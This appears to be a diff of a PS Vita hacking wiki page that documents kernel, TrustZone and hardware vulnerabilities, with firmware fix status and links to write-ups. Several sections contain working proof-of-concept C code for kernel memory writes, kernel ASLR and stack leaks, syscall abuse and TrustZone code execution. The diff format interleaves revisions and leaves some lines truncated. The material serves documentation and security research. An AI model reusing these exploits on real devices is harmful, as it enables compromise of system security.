*(uint32_t *)((int)pInfo + 0x28) |= 0x80000; | |||
loc_8102D744: | |||
return res; | |||
} | |||
// kernel export | |||
int sceKernelGetMutexInfo_089ForDriver(SceUID mutexid, SceKernelMutexInfo *pInfo) { | |||
int state; | |||
int res; | |||
void *a_ptr; | |||
SceKernelMutexInfo mutex_info; | |||
ENTER_SYSCALL(state); | |||
if (pInfo == NULL) { | |||
res = 0x80020006; | |||
goto loc_8100E862; | |||
} | |||
if ((uint32_t)(pInfo->size) > 0x40) { | |||
res = 0x8002000B; | |||
goto loc_8100E862; | |||
} | |||
res = sub_8100D344_get_mutex_info_by_id(mutexid, &mutex_info); | |||
if (res < 0) | |||
goto loc_8100E862; | |||
asm("mrc p15, #0, r3, c13, c0, #3\n"); | |||
a4 = a4 << 0xF; | |||
FLAGS = a4; | |||
if (N == 0) // signed > 0 | |||
goto loc_8100E852; | |||
if (mutex_info.currentOwnerId != 0) { | |||
res = sceGUIDGetObjectForDriver(mutexid, &a_ptr); | |||
if (res < 0) | |||
goto loc_8100E862; | |||
mutex_info.currentOwnerId = *(uint32_t *)(*(uint32_t *)(a_ptr) + 0xC0); | |||
} | |||
loc_8100E852: | |||
memcpy(pInfo, &mutex_info, ((uint32_t)(pInfo->size) >= 0x40) ? 0x40 : pInfo->size); // Kernel write here | |||
loc_8100E862: | |||
EXIT_SYSCALL(state); | |||
return res; | |||
} | |||
</source> | |||
The exploit was fixed in FW 3.68: | |||
<source lang="C"> | |||
// usermode export | |||
int sceKernelGetMutexInfo_089() { | |||
return 0x80028141; // SCE_KERNEL_ERROR_UNKNOWN_MUTEX_ID | |||
} | |||
</source> | |||
PoC: | |||
<source lang="C"> | |||
sceKernelGetMutexInfo_089(some_mutex_uid, (SceKernelMutexInfo *)0x18E2540); | |||
/* | |||
Kernel memory dump after exploit: | |||
0x018E2540 : 25 00 00 00 00 FF 00 00 01 00 00 00 05 00 01 00 | |||
0x018E2550 : FF FF FF FF 2D 91 07 00 55 55 00 00 3B 57 A2 00 | |||
0x018E2560 : 00 00 02 00 78 56 34 12 00 09 00 00 FF FF FF FE | |||
*/ | |||
</source> | |||
In this PoC, 0x25 bytes at kernel virtual address 0x18E2540 are overwritten with a mutex info structure. | |||
=== SceNgs design flaws (h-encore) === | === SceNgs design flaws (h-encore) === | ||
Line 306: | Line 601: | ||
Discovered on 2018-02-04 by TheFloW and successfully exploited four days later. Released on 2018-06-29 in h-encore by TheFloW. | Discovered on 2018-02-04 by TheFloW and successfully exploited four days later. Released on 2018-06-29 in h-encore by TheFloW. | ||
Should be exploitable at least | Should be exploitable at least in FW 3.00 and up to FW 3.68. Fixed in FW 3.69. | ||
h-encore is a kernel exploit that uses memory page underflow to write outside the low address boundary. | |||
<source> | |||
0x1123000 : [kernel stack] <- for exploit thread one | |||
0x1124000 : [SceNgsBlock ] | |||
+ | |||
DefPreset | |||
- off 0x40 | |||
- len 0xFFFFFF00 | |||
- off 0x80 | |||
- len 0x4 | |||
to | |||
0x1124000 + 0xFFFFFF00 = 0x1123F00 <- The second preset copy is from this address | |||
</source> | |||
Some functions in [[SceNgs]] take a kernel pointer (xor'ed with a known static value) from | Some functions in [[SceNgs]] take a kernel pointer (xor'ed with a known static value) from usermode. | ||
This can be used to partially defeat | This can be used to partially defeat kernel ASLR and also as an out-of-bounds exploit to get kernel execution. | ||
[https://github.com/TheOfficialFloW/h-encore/blob/master/WRITE-UP.md Writeup] and [https://github.com/TheOfficialFloW/h-encore source code]. | [https://github.com/TheOfficialFloW/h-encore/blob/master/WRITE-UP.md Writeup] and [https://github.com/TheOfficialFloW/h-encore source code]. | ||
Line 316: | Line 627: | ||
==== Kernel stack address leak using sceNgsRackGetRequiredMemorySize ==== | ==== Kernel stack address leak using sceNgsRackGetRequiredMemorySize ==== | ||
[https://github.com/TheOfficialFloW/h-encore/blob/master/WRITE-UP.md#getting-the-kernel-stack-base-address Write-up about h-encore | Discovered by Team Molecule in 2013 or 2014. Implemented in henkaku for System Software 1.80. | ||
[https://github.com/TheOfficialFloW/h-encore/blob/master/WRITE-UP.md#getting-the-kernel-stack-base-address Write-up about h-encore kernel stack leak]. | |||
IMPORTANT: On old | IMPORTANT: On old System Software versions (at least til FW 1.692) the voice definition address MUST NOT be xored (else SCE_NGS_ERROR_INVALID will be returned by sceNgsRackGetRequiredMemorySize function). | ||
Below is a working implementation tested | Below is a working implementation tested in System Software versions 0.995 and 1.692. Using the 1.692 DEVCTL_STACK_FRAME allows to get the kernel stack address faster on that version. | ||
<source lang=" | <source lang="c"> | ||
#define DEVCTL_STACK_FRAME 0x728 //value specific for 1.692 | #define DEVCTL_STACK_FRAME 0x728 // value specific for 1.692 | ||
SceInt32 gRet = 0; | SceInt32 gRet = 0; | ||
SceUInt32 | SceUInt32 leak_kstack_addr_ngsuser(SceNgsHSynSystem synSys, SceUInt32 paramsize) { // exploit and ROP code by TheFloW - C code by LemonHaze | ||
{ // exploit and ROP code by TheFloW - C code by LemonHaze | |||
SceInt32 ret = 0; | SceInt32 ret = 0; | ||
Line 341: | Line 653: | ||
voiceDef[0] = SCE_NGS_VOICE_DEFINITION_MAGIC; | voiceDef[0] = SCE_NGS_VOICE_DEFINITION_MAGIC; | ||
voiceDef[1] = SCE_NGS_VOICE_DEFINITION_FLAGS; | voiceDef[1] = SCE_NGS_VOICE_DEFINITION_FLAGS; | ||
voiceDef[2]= 0x40; | voiceDef[2] = 0x40; | ||
voiceDef[3]= 0x40; | voiceDef[3] = 0x40; | ||
sceIoDevctl("", 0, voiceDef, 0x3FF, NULL, 0); | sceIoDevctl("", 0, voiceDef, 0x3FF, NULL, 0); | ||
sceKernelDelayThread(2*1000*1000); | sceKernelDelayThread(2*1000*1000); | ||
for(unsigned int addr=DEVCTL_STACK_FRAME; addr < 0x3000000; addr+= 0x1000) | for (unsigned int addr = DEVCTL_STACK_FRAME; addr < 0x3000000; addr+= 0x1000) { | ||
rackDesc.pVoiceDefn = (struct SceNgsVoiceDefinition*)(addr); | rackDesc.pVoiceDefn = (struct SceNgsVoiceDefinition*)(addr); | ||
ret = sceNgsRackGetRequiredMemorySize(synSys, &rackDesc, ¶msize); | ret = sceNgsRackGetRequiredMemorySize(synSys, &rackDesc, ¶msize); | ||
Line 354: | Line 665: | ||
if (ret == SCE_NGS_ERROR_INVALID_PARAM) | if (ret == SCE_NGS_ERROR_INVALID_PARAM) | ||
continue; | continue; | ||
else | |||
return (addr-DEVCTL_STACK_FRAME); | |||
} | } | ||
return | return -1; | ||
} | } | ||
</source> | </source> | ||
Another implementation, in ROP, to leak safemem address, can be seen [https://github.com/henkaku/henkaku/commit/fd5b641824a9e5936cd0f80c3c20bb7fc3fcc0ba#diff-a8afb3e5409ddfca0f5fae3434a0ad64e2be7f4128355ff81e87c451de1ea862L208 here]. | |||
Below is a C code that easily mimics the vulnerability outline and the fix present in System Software version 3.700.011. | |||
Should be exploitable on any firmware up to 3.69. Could even be vulnerable at other levels (TrustZone?, | <source lang="c"> | ||
// 3.65 (probably up to 3.69 included) | |||
void *sceNgsVoiceGetDefSomething(void) { | |||
// ~~~ | |||
return kernel_ptr ^ 0x9e28dcce; | |||
} | |||
int sceNgsRackGetRequiredMemorySize(int a1, void *pRackDesc, int *size) { | |||
int ret = 0; | |||
int rackDesc[0x18 / sizeof(int)]; | |||
copy_from_user(rackDesc, pRackDesc, sizeof(rackDesc)); | |||
rackDesc[0] ^= 0x9e28dcce; | |||
ret = check_voice(rackDesc[0]); | |||
if (ret < 0) // checks that kernel is mapped and voice definition valid | |||
return ret; | |||
return 0; | |||
} | |||
// 3.700.011 | |||
void *sceNgsVoiceGetDefSomething(void) { | |||
return def_id ^ def_xor; | |||
} | |||
int sceNgsRackGetRequiredMemorySize(int a1, void *pRackDesc, int *size) { | |||
int ret = 0; | |||
int rackDesc[0x18 / sizeof(int)]; | |||
copy_from_user(rackDesc, pRackDesc, sizeof(rackDesc)); | |||
rackDesc[0] = get_voice_def(rackDesc[0] ^ def_xor); | |||
ret = check_voice(rackDesc[0]); | |||
if (ret < 0) // checks that kernel is mapped and voice definition valid | |||
return ret; | |||
return 0; | |||
} | |||
</source> | |||
Fixed in FW 3.70. | |||
=== Two memcpy bugs (used in h-encore) === | |||
Discovered in 2018 by TheFloW. | |||
Should be exploitable on any firmware up to 3.69. Could even be vulnerable at other levels ([[TrustZone]]?, [[NSKBL]]?). | |||
[https://github. | [https://theofficialflow.github.io/2018/09/11/h-encore.html#memcpy-or-more-like-memecpy write-up] | ||
The 2 following bugs are exploited when using a negative length memcpy in order to use OOB without having a too big copied buffer nor triggering a segmentation fault. | The 2 following bugs are exploited when using a negative length memcpy in order to use OOB without having a too big copied buffer nor triggering a segmentation fault. | ||
Line 384: | Line 737: | ||
[https://theofficialflow.github.io/2019/06/18/trinity.html#stack-disclosure writeup] | [https://theofficialflow.github.io/2019/06/18/trinity.html#stack-disclosure writeup] | ||
Fixed | Fixed in FW 3.71. | ||
=== Heap overflow in WLAN command 0x50120004 === | === Heap overflow in WLAN command 0x50120004 === | ||
Line 392: | Line 745: | ||
[https://theofficialflow.github.io/2019/06/18/trinity.html#heap-overflow writeup] | [https://theofficialflow.github.io/2019/06/18/trinity.html#heap-overflow writeup] | ||
Fixed on 3. | Fixed in FW 3.71. | ||
=== Kernel modules addresses leak by kernel non-syscall functions import from usermode fSELF === | |||
Discovered on 2020-10-21 by Princess of Sleeping. | |||
[[SceKernelModulemgr]] kernel module is allowed to process non-syscall kernel functions exports even when imported by usermode modules. | |||
Kernel ASLR bypass procedure is thus simple: load a custom usermode fSELF that has in its module imports section the NID of a non-syscall function exported by the target kernel module. When the custom usermode SELF is started, [[SceKernelModulemgr]] searches the function to import by its NID, decomposes the function address (4 bytes) into low and high, converts it to <code>movw/movt/bx ip</code>, and copies it to the import table of the importing module. Once the usermode module imports have been resolved (that occurs between when sceKernelModuleStart is called and module_start is run), the attacker usermode SELF can refer to its own import table, decompose the instructions and translate it back to the function address then finally derive the address of the kernel module. | |||
There are two limitations with this vulnerability exploitation: | |||
* The target module must have a non-syscall export that is not in NONAME library. For example <code>module_start</code> is exported in NONAME library. Hence why [[SceSdstor]], [[SceSysStateMgr]] and [[SceWlanBtRobinImageAx]] addresses for example cannot be leaked using this method. | |||
* The attacker needs to launch a custom fSELF on the target PS Vita. So this exploit can only be used on activated DevKits and TestKits but not on retail consoles, except if the attacker has an exploit to do so on retail consoles. | |||
A vulnerable kernel module is for example [[SceIofilemgr]], because it exports [[SceIofilemgr#sceIoOpenForDriver]] as non-syscall function in SceIofilemgrForDriver library. [[SceSysmem]], [[SceSblSsMgr]] and a lot of kernel modules are also vulnerable. | |||
Proof of concept code for FW 3.500.011-3.740.011: | |||
<source lang="C"> | |||
uint32_t decode_addr(uint32_t* import) { | |||
/* Import thunk code for function at address 0xABCDEF01: | |||
* | |||
* movw r12, #0xEF01 | |||
* movt r12, #0xABCD | |||
* bx r12 | |||
* | |||
* In older firmware, a "ldr r12, [pc]" is used instead? | |||
*/ | |||
uint32_t movw = import[0]; | |||
uint32_t movt = import[1]; | |||
/* movt/movw instruction load a 16-bit immediate | |||
* formed of 2 parts: 4-bits imm4 and 12-bits imm12 | |||
* concatened: imm16 = imm4:imm12. | |||
* | |||
* imm4 is bits 19-16 of instruction. | |||
* imm12 is bits 11-00 of instruction. | |||
* | |||
* We can right-shift imm4 by 4 to move it to 15-12, and OR with imm12 | |||
* to get imm16. | |||
*/ | |||
#define DECODE_MOV_IMM16(instr) (((instr & (0xF << 16)) >> 4) | (instr & 0xFFF)) | |||
return (DECODE_MOV_IMM16(movt) << 16) | DECODE_MOV_IMM16(movw); | |||
#undef DECODE_MOV_IMM16 | |||
} | |||
// Kernel function we want to leak the address of | |||
SceUID sceKernelAllocMemBlockForKernel(char*, SceUInt32, SceUInt32, void*); | |||
int main(void) { | |||
printf("sceKernelAllocMemBlockForKernel -> 0x%08X\n", decode_addr((uint32_t*)&sceKernelAllocMemBlockForKernel); | |||
return 0; | |||
} | |||
</source> | |||
This vulnerability is present on every System Software versions and will likely never get fixed. However, this exploit does not work in external FW 3.00 (?and older?) because SceKernelModulemgr_sub_810047cc triggers kernel panic for usermode trying to import to kernel export. But strangely it became exploitable in many FWs after 3.00. On internal FWs, this vulnerability does not work as there are more assertions. There are also a few (one percent) external FWs >= 3.01 for which the exploit does not work. | |||
=== Syscalls shared between usermode processes === | |||
Discovered in 2014 by Team Molecule. Implemented in 2020 by Princess of Sleeping. | |||
Aim: Consider that you have code execution in process P1 and want to call syscall S1 exported from library L. | |||
Problem: Consider that process P1 does not import syscall S1 using stubs. | |||
Solution: Consider that process P1 imports syscall S2 from library L using stubs. Consider that another started process P2 imports syscall S1 from library L. Consider that you know the indexes of syscalls S1 and S2 in library L, for example thanks to bruteforce or thanks to a memory dump. | |||
Result: Ensure that process P2 is still in memory. Compute syscalls 1 and 2 index difference D beforehand or let it be bruteforced (see [[Syscalls#Syscall ID estimation]]). You can call syscall S1 by running this PoC code in process P1: | |||
<source lang="C"> | |||
int call_svc(unsigned arg1, unsigned arg2, unsigned arg3, unsigned arg4, unsigned svc_number); | |||
== Non- | int movw_to_int(void *arm_code, int *out) { | ||
unsigned int val = *(unsigned int *)(arm_code); | |||
if ((val & 0xFF000000) != 0xE3000000) | |||
return -1; | |||
if((val & 0x00F00000) != 0x00000000) | |||
return -1; | |||
*out = (val & 0xFFF) | ((val & 0xF0000) >> 4); | |||
return 0; | |||
} | |||
int S2(); // Automatically resolved by the kernel using stubs | |||
#define D (-1) // Can also be bruteforced but could cause instabilities depending on the arguments passed | |||
int S1(unsigned arg1, unsigned arg2, unsigned arg3, unsigned arg4) { | |||
int S2_syscall_no; | |||
if (movw_to_int(S2, &S2_syscall_no) != 0) | |||
return 0xcafebabe; | |||
if (D > 0) | |||
return call_svc(arg1, arg2, arg3, arg4, S2_syscall_no - D); | |||
for (int d = 1; d < 0xFFF; ++i) | |||
call_svc(arg1, arg2, arg3, arg4, S2_syscall_no - d); | |||
return 0xdeadbeef; | |||
} | |||
</source> | |||
Tested in System Softwares 1.50 and 3.600.011 in fSELF on activated Kit. It might also work with usermode exploits, for example with WebKit exploits. It might also be used with the [[#Kernel stack buffer overflow in sceSblDmac5EncDec]] vulnerability and its writeup said that bruteforce was used instead of computing D. | |||
This vulnerability affects every System Software versions and will likely never get fixed because of the architecture and of the performance drop it would cause. | |||
=== SceMsif data segment address leak via vshMsifGetMsInfo === | |||
Discovered on 2021-12-29 by Princess of Sleeping. | |||
MemoryCard's SceMsInfo, accessible to usermode via [[SceVshBridge#vshMsifGetMsInfo]], contains a pointer to an area inside [[SceMsif]] module data segment. This allows to partially defeat kernel ASLR. | |||
However, the call to [[SceVshBridge#vshMsifGetMsInfo]] must pass the [[SceSblACMgr#sceSblACIsSystemProgramForKernel]] check. Therefore, it is a useless exploit without a usermode exploit in a System application. | |||
Not fixed as of FW 3.60. | |||
=== Kernel stack leak via vshMsifGetMsInfo === | |||
Discovered on 2021-12-29 by Princess of Sleeping. | |||
[[SceVshBridge#vshMsifGetMsInfo]] calls [[SceMsif#sceMsifGetMsInfoForDriver]] to get a 0x40-byte SceMsInfo. Unexpectedly, [[SceMsif#sceMsifGetMsInfoForDriver]] forgets to initialize some members of SceMsInfo (missing a memset at the beginning) then copies SceMsInfo to usermode memory. But the content that is actually leaked is a usermode memory pointer (4 bytes), so it seems useless unless someone can fill the kernel stack with sensitive kernel information, for example in order to leak kernel pointers to defeat kernel ASLR. | |||
However, the call to [[SceVshBridge#vshMsifGetMsInfo]] must pass the [[SceSblACMgr#sceSblACIsSystemProgramForKernel]] check. Therefore, it is a useless exploit without a usermode exploit in a System application. | |||
Not fixed as of FW 3.60. | |||
=== Heap information leak in sceNetSyscallControl === | |||
Discovered in 2020-05 by TheFloW. Released on 2022-12-27. | |||
Implemented in HENlo by TheFloW. | |||
[[SceNetPs#sceNetSyscallControl]] allows to leak both [[SceNetPs]] base address and addresses of some [[SceNetPs]] internal objects such as iflist and softc headers. | |||
SCE forgot to (OR 2) the flags in sceNetPsMalloc. Therefore, the allocated memory is in an uninitialized state, which leads to [[SceNetPs]] heap memory leak when issuing commands to retrieve information. However, the memory allocated before the start of the process that exploits [[SceNetPs]] is not leakable. | |||
Not fixed as of FW 3.740.011. | |||
=== Integer overflow leading to heap overflow in sceNetSyscallGetIfList === | |||
Discovered in 2018 by St4rk but not exploited by him as Team Molecule members told him that it was not exploitable. Rediscovered and exploited in 2020-05 by TheFloW. Released on 2022-12-27. | |||
Implemented in HENlo by TheFloW. | |||
[[SceNetPs#sceNetSyscallGetIfList]] has an argument to specify how many contents to get, but it does not have enough checks. This leads to arbitrary integer overflow when allocating memory with [[SceNetPs#sceNetPsMalloc]]. | |||
<source lang="C"> | |||
int sceNetSyscallGetIfList(void *iflist, SceUInt32 num) { | |||
int res; | |||
void *iflist_kern; | |||
// ... | |||
iflist_kern = sceNetPsMalloc(num * 0x140); | |||
res = sce_netps_get_if_list(iflist_kern, num); | |||
// ... | |||
return res; | |||
} | |||
</source> | |||
If num is 0x199999A, then [[SceNetPs#sceNetSyscallGetIfList]] allocates 0x80 bytes of memory. Indeed, <code>0x199999A * 0x140 = 0x80</code>. As actual data copied are larger than 0x80 bytes, because each iflist has a size of 0x140 bytes, a heap overflow occurs. | |||
Creativity was needed to exploit it because of heap cookies. Since we do not control the whole content, the function will just crash on free. But this function is calling a function pointer from an object on the heap which we can coincidentally overwrite with some controllable data. So it needs a precise heap feng shui to trigger. | |||
Not fixed as of FW 3.740.011. | |||
=== Kernel stack leak in sceNgsVoiceGetParamsOutOfRange === | |||
Discovered by TheFlow. Implemented in hencore-2 by TheFloW. | |||
[[SceNgsUser#sceNgsVoiceGetParamsOutOfRange]] can be used to leak kernel stack data by passing to it negative indices. | |||
PoC code tested on System Software 3.740.011: | |||
<source lang="C"> | |||
// offset for FW 3.30-3.740.011 | |||
#define KERNEL_STACK_SLIDE 0x80 | |||
// offset for FW 3.740.011 | |||
#define SCE_SYSMEM_SLIDE 0x29f2c | |||
// Pre-exploitation initialization | |||
int res; | |||
uint32_t sys_size; | |||
SceNgsSystemInitParams init_param; | |||
SceNgsHSynSystem sys_handle; | |||
SceNgsRackDescription rack_desc; | |||
SceNgsBufferInfo buffer_info; | |||
SceNgsHRack rack_handle; | |||
SceNgsHVoice voice_handle; | |||
init_param.nMaxRacks = 64; | |||
init_param.nMaxVoices = 64; | |||
init_param.nGranularity = 512; | |||
init_param.nSampleRate = 48000; | |||
init_param.nMaxModules = 1; | |||
// Determine memory requirement for NGS system | |||
res = sceNgsSystemGetRequiredMemorySize(&init_param, &sys_size); | |||
// Allocate NGS system memory | |||
void *sys_mem = memalign(256, sys_size); | |||
// Initialize NGS system | |||
sceNgsSystemInit(sys_mem, sys_size, &init_param, &sys_handle); | |||
rack_desc.pVoiceDefn = sceNgsVoiceDefGetTemplate1(); | |||
rack_desc.nVoices = 1; | |||
rack_desc.nChannelsPerVoice = 1; | |||
rack_desc.nMaxPatchesPerInput = 0; | |||
rack_desc.nPatchesPerOutput = 1; | |||
rack_desc.pUserReleaseData = 0; | |||
// Determine memory requirement for NGS rack | |||
sceNgsRackGetRequiredMemorySize(sys_handle, &rack_desc, &(buffer_info.size)); | |||
// Allocate NGS rack memory | |||
buffer_info.data = memalign(256, buffer_info.size); | |||
// Initialize rack | |||
sceNgsRackInit(sys_handle, &buffer_info, &rack_desc, &rack_handle); | |||
// Get voice handle | |||
sceNgsRackGetVoiceHandle(rack_handle, 0, &voice_handle); | |||
// Exploitation | |||
uint32_t kstack_leak[0x20]; | |||
memset(kernel_stack_leak, 0, sizeof(kernel_stack_leak)); | |||
sceRtcGetCurrentClockLocalTime(NULL); | |||
sceNgsVoiceGetParamsOutOfRange(voice_handle, -1, (char *)kernel_stack_leak); | |||
uint32_t leaked_kernel_stack_address = kernel_stack_leak[0x6C / 4] - KERNEL_STACK_SLIDE; | |||
uint32_t sysmem_address = kernel_stack_leak[0x60 / 4] - SCE_SYSMEM_SLIDE; | |||
</source> | |||
Not fixed as of FW 3.740.011. | |||
== Non-Secure Kernel Boot Loader (NSKBL) == | |||
=== Ensō === | === Ensō === | ||
Released on 2017-07-29 by Team Molecule | Released on 2017-07-29 by Team Molecule. | ||
[https://yifan.lu/2017/07/31/henkaku-enso-bootloader-hack-for-vita yifan's write-up] | [https://yifan.lu/2017/07/31/henkaku-enso-bootloader-hack-for-vita yifan's write-up] | ||
[https://github.com/henkaku/enso enso source code] | [https://github.com/henkaku/enso enso source code] | ||
Fixed in FW 3.67. | |||
==== Buffer overflow during eMMC init ==== | ==== Buffer overflow during eMMC init ==== | ||
2016 - Yifan Lu discovers a buffer overflow in | 2016 - Yifan Lu discovers a buffer overflow in NSKBL that occurs during eMMC initialization. With kernel execution we can mod eMMC MBR to change block size. However at this time yifan was trying to exploit it with an adjacent malloc (controlled_size) and couldn't find a way so he just left it there. | ||
==== Logic flaw about error checking ==== | ==== Logic flaw about error checking ==== | ||
Line 414: | Line 992: | ||
It so allows for a usable buffer overflow in the data section and early code execution on ARM in non-secure privileged mode. | It so allows for a usable buffer overflow in the data section and early code execution on ARM in non-secure privileged mode. | ||
== [[ | == [[TrustZone]] == | ||
Note that a 1.80 [[TrustZone]] modules imports/exports list is available [[File:Psvita_1.80_tz_nids.txt]] | |||
=== SMC 0x12F does not validate arguments (arbitrary read/write and code execution) === | === SMC 0x12F does not validate arguments (arbitrary read/write and code execution) === | ||
Discovered on 2017-01-01 by | Discovered on 2017-01-01 by Yifan Lu. Exploit implementation by Proxima. | ||
[https:// | [https://www.twitch.tv/videos/466911533 Video by Yifan Lu] | ||
See also [[SceSblSmschedProxy#sceSblSmSchedProxyGetStatusForKernel|sceSblSmSchedProxyGetStatusForKernel]]. | See also [[SceSblSmschedProxy#sceSblSmSchedProxyGetStatusForKernel|sceSblSmSchedProxyGetStatusForKernel]]. | ||
SMC 0x12F (sceSblSmSchedGetStatusMonitorCall) takes two unchecked arguments: | [[SMC|SMC 0x12F]] ([[SceSblSmsched#SMC|sceSblSmSchedGetStatusMonitorCall]]) takes two unchecked arguments: <code>req_id</code> and <code>area</code>. | ||
<code> | <code>req_id</code> is a pointer to [[TrustZone]] memory in the form of <code>(tz_addr >> 0x01)</code> and <code>area</code> is an integer value calculated as <code>((shared_mem_blk_addr - shared_mem_base_addr) / 0x80)</code>. | ||
By passing the right value as <code> | By passing the right value as <code>req_id</code>, SMC 0x12F will read 8 bytes from <code>(tz_addr + 0x28)</code> and return them at <code>(shared_mem_base_addr + index * 0x80)</code> which translates to a TrustZone arbitrary memory leak (8 bytes only). | ||
By passing the right value as <code> | By passing the right value as <code>area</code> it is also possible to write the leaked data into an arbitrary TrustZone memory region. | ||
The | The non-secure [[Kernel]] sees the shared memory region at <code>0x00400000</code> (size is 0x5000 bytes) and the Secure Kernel sees the exact same memory region at <code>0x00560000</code>, thus making it possible to plant data inside the non-secure Kernel's region and having the SMC copy this data somewhere into [[TrustZone]] memory (e.g.: [[TrustZone]] [[SceExcpmgr]] [[SMC]] table). This results in [[TrustZone]] level arbitrary code execution. | ||
Example code exploiting this vulnerability | Example code exploiting this vulnerability to write 8 bytes from non-secure [[Kernel]] to [[TrustZone]]: | ||
<source lang="c"> | <source lang="c"> | ||
void tz_memcpy_8(uintptr_t dst, const void *src) | void tz_memcpy_8(uintptr_t dst, const void *src) { | ||
{ | |||
memcpy((void *)0x00400028, src, 8); | memcpy((void *)0x00400028, src, 8); | ||
uintptr_t | uintptr_t req_id = 0x00560000 >> 1; | ||
uintptr_t | uintptr_t area = (dst - 0x00560000) / 0x80; | ||
asm volatile( | asm volatile( | ||
Line 450: | Line 1,027: | ||
"mov r12, #0x12F\n\t" | "mov r12, #0x12F\n\t" | ||
"smc #0\n\t" | "smc #0\n\t" | ||
: : "r"( | : : "r"(req_id), "r"(area) : "r12" | ||
); | ); | ||
} | } | ||
</source> | </source> | ||
To achieve code execution, it is needed to set dst to the SMC table address in order to plant 2 pointers (8=2*4 bytes). | To achieve code execution in [[TrustZone]], it is needed to set dst to the [[SMC]] table address in order to plant 2 pointers (8 bytes = 2 pointers * 4 bytes). | ||
* A full implementation by Proxima and SKGleba is available in [https://github.com/SKGleba/broombroom/blob/e33e3891282a6f643af5f724bca62dfb39d94ae9/proto_v103/tz.c#L121 broombroom repository], chained with . | |||
Fixed somewhere around after FW 1.80 before FW 2.10. | |||
== Hardware == | == Hardware == | ||
=== DMAC5 crypto engine allows partial AES key | === [[DMAC#DMAC5|Dmac5]] === | ||
==== DMAC5 crypto engine allows overwrite of partial AES key allowing for key recovery ==== | |||
(2017-02-01) The Dmac5 crypto engine, accessible from the kernel, allows writing 4 bytes of key material at a time. | (2017-02-01) The Dmac5 crypto engine, accessible from the kernel, allows writing 4 bytes of key material at a time. | ||
This makes it possible to recover plaintext AES keys via bruteforce. | |||
See <ref>https://yifan.lu/2017/02/19/psvimgtools-decrypt-vita-backups</ref>, <ref>https://github.com/yifanlu/psvimgtools/tree/master/dump_partials</ref>. | |||
=== | === [[DMAC#Bigmac|Bigmac]] === | ||
==== Bigmac allows partial overwrite of previous AES operation result allowing for derived key recovery ==== | |||
(2017-04-21) [[DMAC#Bigmac|Bigmac]] crypto engine, accessible from [[Cmep]], has the following vulnerabilities: | |||
* it leaves result of previous AES operation in the internal buffer that will be reused in the next AES operation | |||
* it allows AES input data of less than 16 bytes (1 block) without adding padding | |||
This makes it possible to recover plaintext Bigmac keyrings derived keys via bruteforce. | |||
See <ref>https://lolhax.org/2019/01/02/extracting-keys-f00d-crumbs-raccoon-exploit</ref>. | |||
=== | ==== Bigmac allows AES decryption in CTR mode leading to IDStorage certificates re-encryption ==== | ||
( | Discovered in 2017 or 2018 by Team Molecule and rediscovered by Princess of Sleeping on 2020-05-16. Implemented in CEX2DEX by Team FAPS. | ||
AES decrypt in CTR mode can also be used for encryption in CTR mode since AES algorithm in CTR mode is a symmetric function. | |||
Moreover, AES encryption in ECB mode can be obtained by executing AES encryption in CTR mode with input data as IV and zeroed block as source block. | |||
After obtaining code execution in [[Cmep]], one can AES encrypt in ECB mode the private key of an IDPS Certificate using keyring 0x212. | |||
=== [[First Loader]] === | |||
==== Petite Mort ==== | |||
(2018-07-27) Petite Mort is a toolset to glitch the PS Vita [[First Loader]]. | |||
Team Molecule found three software vulnerabilities in First Loader to exploit and dump it by glitching: | |||
# The start of the SRAM is reused by First Loader as a scratch buffer for loading the SLSK. This scratch buffer can be overflown in order to overwrite the adjacent code. To exploit, glitch to bypass the SLSK maximum size check, in order to overflow the SLSK buffer in SRAM with a payload. | |||
# The CMeP processor has the exception vectors set to this same SRAM location and there is no way to turn off exceptions. To exploit, firstly replace the first block of the SLSK file with an exception vector that will jump into a payload. Then trigger a glitch just after the block is loaded, to cause an exception and jump to the payload. | |||
# After reset, First Loader loads secure_kernel.enp from the memory instead of from the eMMC. It copies 64 bytes of the SLSK file, verifies the header, and loads the rest of the file only if the header check passes. If the check fails, it does not wipe the data so in effect we are still able to overwrite the exception vectors, this time with only 64 bytes instead of 256. To exploit: | |||
## Boot the PS Vita up normally using the Ensō exploit to get ARM [[NSKBL]] code execution (though ARM non-secure kernel would be sufficient). | |||
## Privilege escalate to ARM TrustZone using a separate exploit. | |||
## Get code execution in CMeP (Second Loader, Secure Kernel or a Secure Module) with yet another exploit. | |||
## Perform the reset handshake between CMeP Secure Kernel and ARM TrustZone. | |||
## Load the exception vector payload in ARM TrustZone and trigger the glitcher with a sequence of characters written to UART console. | |||
## After some time offset, the glitch happens and causes an exception in CMeP, which runs the payload. | |||
The second and third vulnerabilities are detailed in the [[#cMeP_exception_vectors_reused_as_SLSK_load_buffer|cMeP exception vectors reused as SLSK load buffer]] section. | |||
So with these three software vulnerabilities and a hardware glitcher, one can finally get 16320 out of 16384 bytes of the boot ROM code. The remaining 64 bytes turn out to be just the original exception table which is the same entry to a panic, repeated 15 times. We also guess that the reset vector (0x0) points to the only boot code in the system. | |||
* Source code available [https://github.com/TeamMolecule/petite-mort here]. | |||
* See also yifan lu's academic paper about [https://arxiv.org/pdf/1903.08102.pdf Injecting Software Vulnerabilities with Voltage Glitching]. | |||
* See also [https://teammolecule.github.io/35c3-slides/ yifan lu's slides from his presentation at 35c3]. | |||
=== | ==== cMeP exception vectors reused as SLSK load buffer ==== | ||
(2018-07-27) When | (2018-07-27) When a [[SLSK]] is loaded by the [[First Loader]], it is first read to <code>0x40000</code> which is the uncached alias of <code>0x800000</code> (both are cmep-only private memory) and then later decrypted to the final address it is executed from. However, <code>0x40000</code> is also where the exception vectors lie. By the time the [[SLSK]] is read, the exception vectors are stale and therefore the memory is safe to reuse. Interrupts are disabled, so we cannot use those. Exceptions, however cannot be disabled in hardware. Below is a summary of all the exceptions. | ||
{| class="wikitable" | {| class="wikitable" | ||
! Exception | ! Exception | ||
! Offset | ! Offset | ||
! | ! Note | ||
|- | |- | ||
| Reset | | Reset | ||
Line 520: | Line 1,131: | ||
| 0x14 | | 0x14 | ||
| SWI/STC instructions not used | | SWI/STC instructions not used | ||
|- | |||
| DBG | |||
| 0x18 | |||
| The [[CMeP]] debugger can be used to send a non-maskable DINT | |||
|- | |- | ||
| DSP | | DSP | ||
| | | 0x1C | ||
| No DSP unit | | No DSP unit | ||
|- | |- | ||
| COP | | COP | ||
| | | 0x20 | ||
| No coprocessor unit | | No coprocessor unit | ||
|} | |} | ||
